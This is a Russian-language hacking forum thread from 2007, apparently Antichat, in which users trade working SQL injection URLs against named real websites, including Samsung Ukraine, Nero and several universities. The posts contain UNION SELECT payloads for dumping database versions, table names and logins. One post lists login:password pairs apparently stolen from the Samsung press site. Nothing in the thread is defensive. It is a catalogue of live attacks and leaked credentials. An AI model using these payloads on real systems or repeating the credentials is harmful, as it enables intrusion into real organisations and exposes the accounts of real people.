28.08.2007, 01:38
|
|
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
С нами:
9881483
Репутация:
569
|
|
Сообщение от x.Elf
Ты скажи: откуда в 4 мускуле бд information_schema
в каком 4? Я про самсунг сказал,а там 5 мускул
|
|
|
28.08.2007, 01:46
|
|
Новичок
Регистрация: 11.08.2007
Сообщений: 25
С нами:
9869315
Репутация:
11
|
|
Сообщение от fobofob
чет не могу подобрать код: http://press.samsung.ua/news/card.php?id=-212+union+select+1,column_name,3+from+information_ schema.columns/* если боян,то не бейте в репу,а лучше дайте ссылку на антибоян
tim:1
anna:190184
siryks:cthutq
olga:imhappy
marina:SEU
ukraine:12345
kiryuha:magnus80
Visitor
Content
Medias
media:1
ss2:ss2
chip:samsung
Karman_in_ua:k-p4ssword
softpress:softpress
little:Rfpbyfrb
pfeffer:cydvb
Есть ещё много
Код:
http://press.samsung.ua/news/card.php?id=-1+union+select+1111,role,concat(login,char(58),passw)+from+user+where+id=22+limit+0,1/*
меняй id и вытаскивай данные 
Как посмотреть какие есть таблицы и поля:
Код:
http://press.samsung.ua/news/card.php?id=-1+union+select+1,concat(column_name,char(58),table_name),3+from+information_schema.columns+limit+349,1/*
меняй limit , он будет показывать какие поля есть в таблице (Поле:Таблица)
Последний раз редактировалось Nazaret2005; 28.08.2007 в 02:20..
|
|
|
|
28.08.2007, 08:33
|
|
Познающий
Регистрация: 09.07.2007
Сообщений: 42
С нами:
9915918
Репутация:
72
|
|
nero.com
http://www.nero.com/eng/showpress.php?id=-1+GROUP+BY+13/*
|
|
|
|
28.08.2007, 08:36
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
С нами:
10660753
Репутация:
676
|
|
utsa.edu - PR=7
Код:
http://www.utsa.edu/today/archive/index.cfm?fuseaction=category&iStartRow=1&categoryid=@@version--
http://www.utsa.edu/today/archive/index.cfm?fuseaction=category&iStartRow=1&categoryid=(select%20system_user)
http://www.utsa.edu/today/archive/index.cfm?fuseaction=category&iStartRow=1&categoryid=(select%20db_name())
sju.edu - PR=7
Код:
http://www.sju.edu/hsb/campbell/research-guides/index-new2.php?subid=-1%20union%20select%201,2,3,4,5,6,7,8,version(),user(),11,12,13,database(),15,16,17/*
uprm.edu - PR=7
Код:
http://www.uprm.edu/library/cre/list_dbs.php?char=1'%20or%201=-1%20union%20select%201,aes_decrypt(aes_encrypt(concat(user(),0x3a,version(),0x3a,database()),0x71),0x71),3,4,5,6,7,8,9,10/*
|
|
|
|
28.08.2007, 14:26
|
|
Участник форума
Регистрация: 18.06.2002
Сообщений: 126
С нами:
12575846
Репутация:
46
|
|
PR8
http://www.aiim.org/standards.asp?id=1+or+1=@@version--
Таблицы:
'vwWebGroups'
vwWebArticleTypes
vwActivePages
vwWebOrderDetails
vwForums
'vwWebModules'
'vwPollResults'
'vwIndustryEventTypes'
'vwForumPosts'
'vwWebUserActivity'
'vwIndustryEvents'
'vwPollQuestions'
'vwWebUsers'
vwChapDisplay
vwWebEntityConfigs
vwWebApplications
vwCompanies
vwChapAllList
vwWebEntityMatchPolicyItems
'vwIndustryEventPollIds'
'vwWebArticles'
vwWebEntityMatchPolicies
vwMarkets
'vwWebProducts'
'vwAIIMChapters
и тд.
но при запросе,
http://www.aiim.org/standards.asp?id=1+or+1=(select+top+1+RequestDoc1+ from+dbo.vwWebUsers)--
и при попытке использовать CMD выдается "The Querystring is invalid"
|
|
|
|
28.08.2007, 15:08
|
|
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
С нами:
10374086
Репутация:
1745
|
|
Код:
http://www.row-people.de/news/news.php?id=-1394+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19,29+from+information_schema.tables/*
_4nob1oz - боян( |
|
|
|
28.08.2007, 15:09
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами:
10495046
Репутация:
2642
|
|
Давно не выкладывал 
Код:
http://www.topguard.co.kr/noticeboard/notice_view.php?number=-8+union+select+1,2,3,4,5,6,7,concat_ws(0x3C62722F3E,USER(),DATABASE(),VERSION()),9,10,11,12,13,14,15,16,17/*
Старенькая БД
Код:
http://www.cleareyes.co.kr/itop20/gasa.php?number=-1+union+select+1,2,3,4,5,6,concat_ws(0x3C62722F3E,USER(),DATABASE(),VERSION()),8,9,10,11,12,13
Последний раз редактировалось NOmeR1; 28.08.2007 в 15:11..
|
|
|
|
28.08.2007, 15:19
|
|
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
С нами:
10243046
Репутация:
3033
|
|
Обновили антибоян, незабываем юзать.
http://filefront.jino-net.ru/sql.html
__________________
Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!
з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
|
|
|
|
28.08.2007, 15:38
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами:
10495046
Репутация:
2642
|
|
Код:
http://bystrzyca.pl/shows.php?nr=-9+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables+limit+16,1/*
Код:
http://www.tigs-thaiwok.ch/ger.php?nr=-13+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables+limit+16,1/*
Последний раз редактировалось NOmeR1; 28.08.2007 в 15:57..
|
|
|
|
28.08.2007, 16:03
|
|
Познающий
Регистрация: 13.03.2007
Сообщений: 55
С нами:
10085912
Репутация:
17
|
|
http://www.seredina.ru/for.php?id=1&city_id=1+union+select+pwd+from+admin s+limit+7,1/*
все правильно подобрал только почему-то не выводит
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
